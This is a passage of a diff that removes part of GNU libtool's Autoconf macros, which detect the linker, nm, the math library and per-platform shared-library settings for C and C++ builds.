-[AC_PATH_TOOL_PREFIX(${ac_tool_prefix}file, /usr/bin$PATH_SEPARATOR$PATH)
-if test -z "$lt_cv_path_MAGIC_CMD"; then
- if test -n "$ac_tool_prefix"; then
- AC_PATH_TOOL_PREFIX(file, /usr/bin$PATH_SEPARATOR$PATH)
- else
- MAGIC_CMD=:
- fi
-fi
-])# AC_PATH_MAGIC
-
-
-# AC_PROG_LD
-# ----------
-# find the pathname to the GNU or non-GNU linker
-AC_DEFUN([AC_PROG_LD],
-[AC_ARG_WITH([gnu-ld],
- [AC_HELP_STRING([--with-gnu-ld],
- [assume the C compiler uses GNU ld @<:@default=no@:>@])],
- [test "$withval" = no || with_gnu_ld=yes],
- [with_gnu_ld=no])
-AC_REQUIRE([LT_AC_PROG_SED])dnl
-AC_REQUIRE([AC_PROG_CC])dnl
-AC_REQUIRE([AC_CANONICAL_HOST])dnl
-AC_REQUIRE([AC_CANONICAL_BUILD])dnl
-ac_prog=ld
-if test "$GCC" = yes; then
- # Check if gcc -print-prog-name=ld gives a path.
- AC_MSG_CHECKING([for ld used by $CC])
- case $host in
- *-*-mingw*)
- # gcc leaves a trailing carriage return which upsets mingw
- ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;;
- *)
- ac_prog=`($CC -print-prog-name=ld) 2>&5` ;;
- esac
- case $ac_prog in
- # Accept absolute paths.
- [[\\/]]* | ?:[[\\/]]*)
- re_direlt='/[[^/]][[^/]]*/\.\./'
- # Canonicalize the pathname of ld
- ac_prog=`echo $ac_prog| $SED 's%\\\\%/%g'`
- while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do
- ac_prog=`echo $ac_prog| $SED "s%$re_direlt%/%"`
- done
- test -z "$LD" && LD="$ac_prog"
- ;;
- "")
- # If it fails, then pretend we aren't using GCC.
- ac_prog=ld
- ;;
- *)
- # If it is relative, then search for the first ld in PATH.
- with_gnu_ld=unknown
- ;;
- esac
-elif test "$with_gnu_ld" = yes; then
- AC_MSG_CHECKING([for GNU ld])
-else
- AC_MSG_CHECKING([for non-GNU ld])
-fi
-AC_CACHE_VAL(lt_cv_path_LD,
-[if test -z "$LD"; then
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- for ac_dir in $PATH; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then
- lt_cv_path_LD="$ac_dir/$ac_prog"
- # Check to see if the program is GNU ld. I'd rather use --version,
- # but apparently some variants of GNU ld only accept -v.
- # Break only if it was the GNU/non-GNU ld that we prefer.
- case `"$lt_cv_path_LD" -v 2>&1 </dev/null` in
- *GNU* | *'with BFD'*)
- test "$with_gnu_ld" != no && break
- ;;
- *)
- test "$with_gnu_ld" != yes && break
- ;;
- esac
- fi
- done
- IFS="$lt_save_ifs"
-else
- lt_cv_path_LD="$LD" # Let the user override the test with a path.
-fi])
-LD="$lt_cv_path_LD"
-if test -n "$LD"; then
- AC_MSG_RESULT($LD)
-else
- AC_MSG_RESULT(no)
-fi
-test -z "$LD" && AC_MSG_ERROR([no acceptable ld found in \$PATH])
-AC_PROG_LD_GNU
-])# AC_PROG_LD
-
-
-# AC_PROG_LD_GNU
-# --------------
-AC_DEFUN([AC_PROG_LD_GNU],
-[AC_REQUIRE([AC_PROG_EGREP])dnl
-AC_CACHE_CHECK([if the linker ($LD) is GNU ld], lt_cv_prog_gnu_ld,
-[# I'd rather use --version here, but apparently some GNU lds only accept -v.
-case `$LD -v 2>&1 </dev/null` in
-*GNU* | *'with BFD'*)
- lt_cv_prog_gnu_ld=yes
- ;;
-*)
- lt_cv_prog_gnu_ld=no
- ;;
-esac])
-with_gnu_ld=$lt_cv_prog_gnu_ld
-])# AC_PROG_LD_GNU
-
-
-# AC_PROG_LD_RELOAD_FLAG
-# ----------------------
-# find reload flag for linker
-# -- PORTME Some linkers may need a different reload flag.
-AC_DEFUN([AC_PROG_LD_RELOAD_FLAG],
-[AC_CACHE_CHECK([for $LD option to reload object files],
- lt_cv_ld_reload_flag,
- [lt_cv_ld_reload_flag='-r'])
-reload_flag=$lt_cv_ld_reload_flag
-case $reload_flag in
-"" | " "*) ;;
-*) reload_flag=" $reload_flag" ;;
-esac
-reload_cmds='$LD$reload_flag -o $output$reload_objs'
-case $host_os in
- darwin*)
- if test "$GCC" = yes; then
- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
- else
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- fi
- ;;
-esac
-])# AC_PROG_LD_RELOAD_FLAG
-
-
-# AC_DEPLIBS_CHECK_METHOD
-# -----------------------
-# how to check for library dependencies
-# -- PORTME fill in with the dynamic library characteristics
-AC_DEFUN([AC_DEPLIBS_CHECK_METHOD],
-[AC_CACHE_CHECK([how to recognise dependent libraries],
-lt_cv_deplibs_check_method,
-[lt_cv_file_magic_cmd='$MAGIC_CMD'
-lt_cv_file_magic_test_file=
-lt_cv_deplibs_check_method='unknown'
-# Need to set the preceding variable on all platforms that support
-# interlibrary dependencies.
-# 'none' -- dependencies not supported.
-# `unknown' -- same as none, but documents that we really don't know.
-# 'pass_all' -- all dependencies passed with no checks.
-# 'test_compile' -- check by making test program.
-# 'file_magic [[regex]]' -- check by looking for files in library path
-# which responds to the $file_magic_cmd with a given extended regex.
-# If you have `file' or equivalent on your system and you're not sure
-# whether `pass_all' will *always* work, you probably want this one.
-
-case $host_os in
-aix4* | aix5*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-beos*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-bsdi[[45]]*)
- lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (shared object|dynamic lib)'
- lt_cv_file_magic_cmd='/usr/bin/file -L'
- lt_cv_file_magic_test_file=/shlib/libc.so
- ;;
-
-cygwin*)
- # func_win32_libid is a shell function defined in ltmain.sh
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- ;;
-
-mingw* | pw32*)
- # Base MSYS/MinGW do not provide the 'file' command needed by
- # func_win32_libid shell function, so use a weaker test based on 'objdump'.
- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- ;;
-
-darwin* | rhapsody*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-freebsd* | kfreebsd*-gnu | dragonfly*)
- if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then
- case $host_cpu in
- i*86 )
- # Not sure whether the presence of OpenBSD here was a mistake.
- # Let's accept both of them until this is cleared up.
- lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD|DragonFly)/i[[3-9]]86 (compact )?demand paged shared library'
- lt_cv_file_magic_cmd=/usr/bin/file
- lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*`
- ;;
- esac
- else
- lt_cv_deplibs_check_method=pass_all
- fi
- ;;
-
-gnu*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-hpux10.20* | hpux11*)
- lt_cv_file_magic_cmd=/usr/bin/file
- case $host_cpu in
- ia64*)
- lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|ELF-[[0-9]][[0-9]]) shared object file - IA64'
- lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so
- ;;
- hppa*64*)
- [lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - PA-RISC [0-9].[0-9]']
- lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl
- ;;
- *)
- lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|PA-RISC[[0-9]].[[0-9]]) shared library'
- lt_cv_file_magic_test_file=/usr/lib/libc.sl
- ;;
- esac
- ;;
-
-interix3*)
- # PIC code is broken on Interix 3.x, that's why |\.a not |_pic\.a here
- lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so|\.a)$'
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $LD in
- *-32|*"-32 ") libmagic=32-bit;;
- *-n32|*"-n32 ") libmagic=N32;;
- *-64|*"-64 ") libmagic=64-bit;;
- *) libmagic=never-match;;
- esac
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-# This must be Linux ELF.
-linux*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then
- lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$'
- else
- lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so|_pic\.a)$'
- fi
- ;;
-
-newos6*)
- lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (executable|dynamic lib)'
- lt_cv_file_magic_cmd=/usr/bin/file
- lt_cv_file_magic_test_file=/usr/lib/libnls.so
- ;;
-
-nto-qnx*)
- lt_cv_deplibs_check_method=unknown
- ;;
-
-openbsd*)
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|\.so|_pic\.a)$'
- else
- lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$'
- fi
- ;;
-
-osf3* | osf4* | osf5*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-solaris*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-sysv4 | sysv4.3*)
- case $host_vendor in
- motorola)
- lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (shared object|dynamic lib) M[[0-9]][[0-9]]* Version [[0-9]]'
- lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*`
- ;;
- ncr)
- lt_cv_deplibs_check_method=pass_all
- ;;
- sequent)
- lt_cv_file_magic_cmd='/bin/file'
- lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB (shared object|dynamic lib )'
- ;;
- sni)
- lt_cv_file_magic_cmd='/bin/file'
- lt_cv_deplibs_check_method="file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB dynamic lib"
- lt_cv_file_magic_test_file=/lib/libc.so
- ;;
- siemens)
- lt_cv_deplibs_check_method=pass_all
- ;;
- pc)
- lt_cv_deplibs_check_method=pass_all
- ;;
- esac
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-esac
-])
-file_magic_cmd=$lt_cv_file_magic_cmd
-deplibs_check_method=$lt_cv_deplibs_check_method
-test -z "$deplibs_check_method" && deplibs_check_method=unknown
-])# AC_DEPLIBS_CHECK_METHOD
-
-
-# AC_PROG_NM
-# ----------
-# find the pathname to a BSD-compatible name lister
-AC_DEFUN([AC_PROG_NM],
-[AC_CACHE_CHECK([for BSD-compatible nm], lt_cv_path_NM,
-[if test -n "$NM"; then
- # Let the user override the test.
- lt_cv_path_NM="$NM"
-else
- lt_nm_to_check="${ac_tool_prefix}nm"
- if test -n "$ac_tool_prefix" && test "$build" = "$host"; then
- lt_nm_to_check="$lt_nm_to_check nm"
- fi
- for lt_tmp_nm in $lt_nm_to_check; do
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- for ac_dir in $PATH /usr/ccs/bin/elf /usr/ccs/bin /usr/ucb /bin; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- tmp_nm="$ac_dir/$lt_tmp_nm"
- if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then
- # Check to see if the nm accepts a BSD-compat flag.
- # Adding the `sed 1q' prevents false positives on HP-UX, which says:
- # nm: unknown option "B" ignored
- # Tru64's nm complains that /dev/null is an invalid object file
- case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in
- */dev/null* | *'Invalid file or object type'*)
- lt_cv_path_NM="$tmp_nm -B"
- break
- ;;
- *)
- case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in
- */dev/null*)
- lt_cv_path_NM="$tmp_nm -p"
- break
- ;;
- *)
- lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but
- continue # so that we can try to find one that supports BSD flags
- ;;
- esac
- ;;
- esac
- fi
- done
- IFS="$lt_save_ifs"
- done
- test -z "$lt_cv_path_NM" && lt_cv_path_NM=nm
-fi])
-NM="$lt_cv_path_NM"
-])# AC_PROG_NM
-
-
-# AC_CHECK_LIBM
-# -------------
-# check for math library
-AC_DEFUN([AC_CHECK_LIBM],
-[AC_REQUIRE([AC_CANONICAL_HOST])dnl
-LIBM=
-case $host in
-*-*-beos* | *-*-cygwin* | *-*-pw32* | *-*-darwin*)
- # These system don't have libm, or don't need it
- ;;
-*-ncr-sysv4.3*)
- AC_CHECK_LIB(mw, _mwvalidcheckl, LIBM="-lmw")
- AC_CHECK_LIB(m, cos, LIBM="$LIBM -lm")
- ;;
-*)
- AC_CHECK_LIB(m, cos, LIBM="-lm")
- ;;
-esac
-])# AC_CHECK_LIBM
-
-
-# AC_LIBLTDL_CONVENIENCE([DIRECTORY])
-# -----------------------------------
-# sets LIBLTDL to the link flags for the libltdl convenience library and
-# LTDLINCL to the include flags for the libltdl header and adds
-# --enable-ltdl-convenience to the configure arguments. Note that
-# AC_CONFIG_SUBDIRS is not called here. If DIRECTORY is not provided,
-# it is assumed to be `libltdl'. LIBLTDL will be prefixed with
-# '${top_builddir}/' and LTDLINCL will be prefixed with '${top_srcdir}/'
-# (note the single quotes!). If your package is not flat and you're not
-# using automake, define top_builddir and top_srcdir appropriately in
-# the Makefiles.
-AC_DEFUN([AC_LIBLTDL_CONVENIENCE],
-[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl
- case $enable_ltdl_convenience in
- no) AC_MSG_ERROR([this package needs a convenience libltdl]) ;;
- "") enable_ltdl_convenience=yes
- ac_configure_args="$ac_configure_args --enable-ltdl-convenience" ;;
- esac
- LIBLTDL='${top_builddir}/'ifelse($#,1,[$1],['libltdl'])/libltdlc.la
- LTDLINCL='-I${top_srcdir}/'ifelse($#,1,[$1],['libltdl'])
- # For backwards non-gettext consistent compatibility...
- INCLTDL="$LTDLINCL"
-])# AC_LIBLTDL_CONVENIENCE
-
-
-# AC_LIBLTDL_INSTALLABLE([DIRECTORY])
-# -----------------------------------
-# sets LIBLTDL to the link flags for the libltdl installable library and
-# LTDLINCL to the include flags for the libltdl header and adds
-# --enable-ltdl-install to the configure arguments. Note that
-# AC_CONFIG_SUBDIRS is not called here. If DIRECTORY is not provided,
-# and an installed libltdl is not found, it is assumed to be `libltdl'.
-# LIBLTDL will be prefixed with '${top_builddir}/'# and LTDLINCL with
-# '${top_srcdir}/' (note the single quotes!). If your package is not
-# flat and you're not using automake, define top_builddir and top_srcdir
-# appropriately in the Makefiles.
-# In the future, this macro may have to be called after AC_PROG_LIBTOOL.
-AC_DEFUN([AC_LIBLTDL_INSTALLABLE],
-[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl
- AC_CHECK_LIB(ltdl, lt_dlinit,
- [test x"$enable_ltdl_install" != xyes && enable_ltdl_install=no],
- [if test x"$enable_ltdl_install" = xno; then
- AC_MSG_WARN([libltdl not installed, but installation disabled])
- else
- enable_ltdl_install=yes
- fi
- ])
- if test x"$enable_ltdl_install" = x"yes"; then
- ac_configure_args="$ac_configure_args --enable-ltdl-install"
- LIBLTDL='${top_builddir}/'ifelse($#,1,[$1],['libltdl'])/libltdl.la
- LTDLINCL='-I${top_srcdir}/'ifelse($#,1,[$1],['libltdl'])
- else
- ac_configure_args="$ac_configure_args --enable-ltdl-install=no"
- LIBLTDL="-lltdl"
- LTDLINCL=
- fi
- # For backwards non-gettext consistent compatibility...
- INCLTDL="$LTDLINCL"
-])# AC_LIBLTDL_INSTALLABLE
-
-
-# AC_LIBTOOL_CXX
-# --------------
-# enable support for C++ libraries
-AC_DEFUN([AC_LIBTOOL_CXX],
-[AC_REQUIRE([_LT_AC_LANG_CXX])
-])# AC_LIBTOOL_CXX
-
-
-# _LT_AC_LANG_CXX
-# ---------------
-AC_DEFUN([_LT_AC_LANG_CXX],
-[AC_REQUIRE([AC_PROG_CXX])
-AC_REQUIRE([_LT_AC_PROG_CXXCPP])
-_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}CXX])
-])# _LT_AC_LANG_CXX
-
-# _LT_AC_PROG_CXXCPP
-# ------------------
-AC_DEFUN([_LT_AC_PROG_CXXCPP],
-[
-AC_REQUIRE([AC_PROG_CXX])
-if test -n "$CXX" && ( test "X$CXX" != "Xno" &&
- ( (test "X$CXX" = "Xg++" && `g++ -v >/dev/null 2>&1` ) ||
- (test "X$CXX" != "Xg++"))) ; then
- AC_PROG_CXXCPP
-fi
-])# _LT_AC_PROG_CXXCPP
-
-# AC_LIBTOOL_F77
-# --------------
-# enable support for Fortran 77 libraries
-AC_DEFUN([AC_LIBTOOL_F77],
-[AC_REQUIRE([_LT_AC_LANG_F77])
-])# AC_LIBTOOL_F77
-
-
-# _LT_AC_LANG_F77
-# ---------------
-AC_DEFUN([_LT_AC_LANG_F77],
-[AC_REQUIRE([AC_PROG_F77])
-_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}F77])
-])# _LT_AC_LANG_F77
-
-
-# AC_LIBTOOL_GCJ
-# --------------
-# enable support for GCJ libraries
-AC_DEFUN([AC_LIBTOOL_GCJ],
-[AC_REQUIRE([_LT_AC_LANG_GCJ])
-])# AC_LIBTOOL_GCJ
-
-
-# _LT_AC_LANG_GCJ
-# ---------------
-AC_DEFUN([_LT_AC_LANG_GCJ],
-[AC_PROVIDE_IFELSE([AC_PROG_GCJ],[],
- [AC_PROVIDE_IFELSE([A][M_PROG_GCJ],[],
- [AC_PROVIDE_IFELSE([LT_AC_PROG_GCJ],[],
- [ifdef([AC_PROG_GCJ],[AC_REQUIRE([AC_PROG_GCJ])],
- [ifdef([A][M_PROG_GCJ],[AC_REQUIRE([A][M_PROG_GCJ])],
- [AC_REQUIRE([A][C_PROG_GCJ_OR_A][M_PROG_GCJ])])])])])])
-_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}GCJ])
-])# _LT_AC_LANG_GCJ
-
-
-# AC_LIBTOOL_RC
-# -------------
-# enable support for Windows resource files
-AC_DEFUN([AC_LIBTOOL_RC],
-[AC_REQUIRE([LT_AC_PROG_RC])
-_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}RC])
-])# AC_LIBTOOL_RC
-
-
-# AC_LIBTOOL_LANG_C_CONFIG
-# ------------------------
-# Ensure that the configuration vars for the C compiler are
-# suitably defined. Those variables are subsequently used by
-# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'.
-AC_DEFUN([AC_LIBTOOL_LANG_C_CONFIG], [_LT_AC_LANG_C_CONFIG])
-AC_DEFUN([_LT_AC_LANG_C_CONFIG],
-[lt_save_CC="$CC"
-AC_LANG_PUSH(C)
-
-# Source file extension for C test sources.
-ac_ext=c
-
-# Object file extension for compiled C test sources.
-objext=o
-_LT_AC_TAGVAR(objext, $1)=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code="int some_variable = 0;\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code='int main(){return(0);}\n'
-
-_LT_AC_SYS_COMPILER
-
-# save warnings/boilerplate of simple test code
-_LT_COMPILER_BOILERPLATE
-_LT_LINKER_BOILERPLATE
-
-## CAVEAT EMPTOR:
-## There is no encapsulation within the following macros, do not change
-## the running order or otherwise move them around unless you know exactly
-## what you are doing...
-AC_LIBTOOL_PROG_COMPILER_NO_RTTI($1)
-AC_LIBTOOL_PROG_COMPILER_PIC($1)
-AC_LIBTOOL_PROG_CC_C_O($1)
-AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1)
-AC_LIBTOOL_PROG_LD_SHLIBS($1)
-AC_LIBTOOL_SYS_DYNAMIC_LINKER($1)
-AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1)
-AC_LIBTOOL_SYS_LIB_STRIP
-AC_LIBTOOL_DLOPEN_SELF
-
-# Report which library types will actually be built
-AC_MSG_CHECKING([if libtool supports shared libraries])
-AC_MSG_RESULT([$can_build_shared])
-
-AC_MSG_CHECKING([whether to build shared libraries])
-test "$can_build_shared" = "no" && enable_shared=no
-
-# On AIX, shared libraries and static libraries use the same namespace, and
-# are all built from PIC.
-case $host_os in
-aix3*)
- test "$enable_shared" = yes && enable_static=no
- if test -n "$RANLIB"; then
- archive_cmds="$archive_cmds~\$RANLIB \$lib"
- postinstall_cmds='$RANLIB $lib'
- fi
- ;;
-
-aix4* | aix5*)
- if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then
- test "$enable_shared" = yes && enable_static=no
- fi
- ;;
-esac
-AC_MSG_RESULT([$enable_shared])
-
-AC_MSG_CHECKING([whether to build static libraries])
-# Make sure either enable_shared or enable_static is yes.
-test "$enable_shared" = yes || enable_static=yes
-AC_MSG_RESULT([$enable_static])
-
-AC_LIBTOOL_CONFIG($1)
-
-AC_LANG_POP
-CC="$lt_save_CC"
-])# AC_LIBTOOL_LANG_C_CONFIG
-
-
-# AC_LIBTOOL_LANG_CXX_CONFIG
-# --------------------------
-# Ensure that the configuration vars for the C compiler are
-# suitably defined. Those variables are subsequently used by
-# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'.
-AC_DEFUN([AC_LIBTOOL_LANG_CXX_CONFIG], [_LT_AC_LANG_CXX_CONFIG(CXX)])
-AC_DEFUN([_LT_AC_LANG_CXX_CONFIG],
-[AC_LANG_PUSH(C++)
-AC_REQUIRE([AC_PROG_CXX])
-AC_REQUIRE([_LT_AC_PROG_CXXCPP])
-
-_LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
-_LT_AC_TAGVAR(allow_undefined_flag, $1)=
-_LT_AC_TAGVAR(always_export_symbols, $1)=no
-_LT_AC_TAGVAR(archive_expsym_cmds, $1)=
-_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=
-_LT_AC_TAGVAR(hardcode_direct, $1)=no
-_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=
-_LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)=
-_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=
-_LT_AC_TAGVAR(hardcode_minus_L, $1)=no
-_LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported
-_LT_AC_TAGVAR(hardcode_automatic, $1)=no
-_LT_AC_TAGVAR(module_cmds, $1)=
-_LT_AC_TAGVAR(module_expsym_cmds, $1)=
-_LT_AC_TAGVAR(link_all_deplibs, $1)=unknown
-_LT_AC_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds
-_LT_AC_TAGVAR(no_undefined_flag, $1)=
-_LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
-_LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=no
-
-# Dependencies to place before and after the object being linked:
-_LT_AC_TAGVAR(predep_objects, $1)=
-_LT_AC_TAGVAR(postdep_objects, $1)=
-_LT_AC_TAGVAR(predeps, $1)=
-_LT_AC_TAGVAR(postdeps, $1)=
-_LT_AC_TAGVAR(compiler_lib_search_path, $1)=
-
-# Source file extension for C++ test sources.
-ac_ext=cpp
-
-# Object file extension for compiled C++ test sources.
-objext=o
-_LT_AC_TAGVAR(objext, $1)=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code="int some_variable = 0;\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code='int main(int, char *[[]]) { return(0); }\n'
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-_LT_AC_SYS_COMPILER
-
-# save warnings/boilerplate of simple test code
-_LT_COMPILER_BOILERPLATE
-_LT_LINKER_BOILERPLATE
-
-# Allow CC to be a program name with arguments.
-lt_save_CC=$CC
-lt_save_LD=$LD
-lt_save_GCC=$GCC
-GCC=$GXX
-lt_save_with_gnu_ld=$with_gnu_ld
-lt_save_path_LD=$lt_cv_path_LD
-if test -n "${lt_cv_prog_gnu_ldcxx+set}"; then
- lt_cv_prog_gnu_ld=$lt_cv_prog_gnu_ldcxx
-else
- $as_unset lt_cv_prog_gnu_ld
-fi
-if test -n "${lt_cv_path_LDCXX+set}"; then
- lt_cv_path_LD=$lt_cv_path_LDCXX
-else
- $as_unset lt_cv_path_LD
-fi
-test -z "${LDCXX+set}" || LD=$LDCXX
-CC=${CXX-"c++"}
-compiler=$CC
-_LT_AC_TAGVAR(compiler, $1)=$CC
-_LT_CC_BASENAME([$compiler])
-
-# We don't want -fno-exception wen compiling C++ code, so set the
-# no_builtin_flag separately
-if test "$GXX" = yes; then
- _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin'
-else
- _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=
-fi
-
-if test "$GXX" = yes; then
- # Set up default GNU C++ configuration
-
- AC_PROG_LD
-
- # Check if GNU C++ uses GNU ld as the underlying linker, since the
- # archiving commands below assume that GNU ld is being used.
- if test "$with_gnu_ld" = yes; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
-
- # If archive_cmds runs LD, not CC, wlarc should be empty
- # XXX I think wlarc can be eliminated in ltcf-cxx, but I need to
- # investigate it a little bit more. (MM)
- wlarc='${wl}'
-
- # ancient GNU ld didn't support --whole-archive et. al.
- if eval "`$CC -print-prog-name=ld` --help 2>&1" | \
- grep 'no-whole-archive' > /dev/null; then
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
- fi
- else
- with_gnu_ld=no
- wlarc=
-
- # A generic and very simple default shared library creation
- # command for GNU C++ for the case where it uses the native
- # linker, instead of GNU ld. If possible, this setting should
- # overridden to take advantage of the native linker features on
- # the platform it is being used on.
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib'
- fi
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
-else
- GXX=no
- with_gnu_ld=no
- wlarc=
-fi
-
-# PORTME: fill in a description of your system's C++ link characteristics
-AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries])
-_LT_AC_TAGVAR(ld_shlibs, $1)=yes
-case $host_os in
- aix3*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[[23]]|aix4.[[23]].*|aix5*)
- for ld_flag in $LDFLAGS; do
- case $ld_flag in
- *-brtl*)
- aix_use_runtimelinking=yes
- break
- ;;
- esac
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- _LT_AC_TAGVAR(archive_cmds, $1)=''
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':'
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
-
- if test "$GXX" = yes; then
- case $host_os in aix4.[[012]]|aix4.[[012]].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- else
- # We have old collect2
- _LT_AC_TAGVAR(hardcode_direct, $1)=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=
- fi
- ;;
- esac
- shared_flag='-shared'
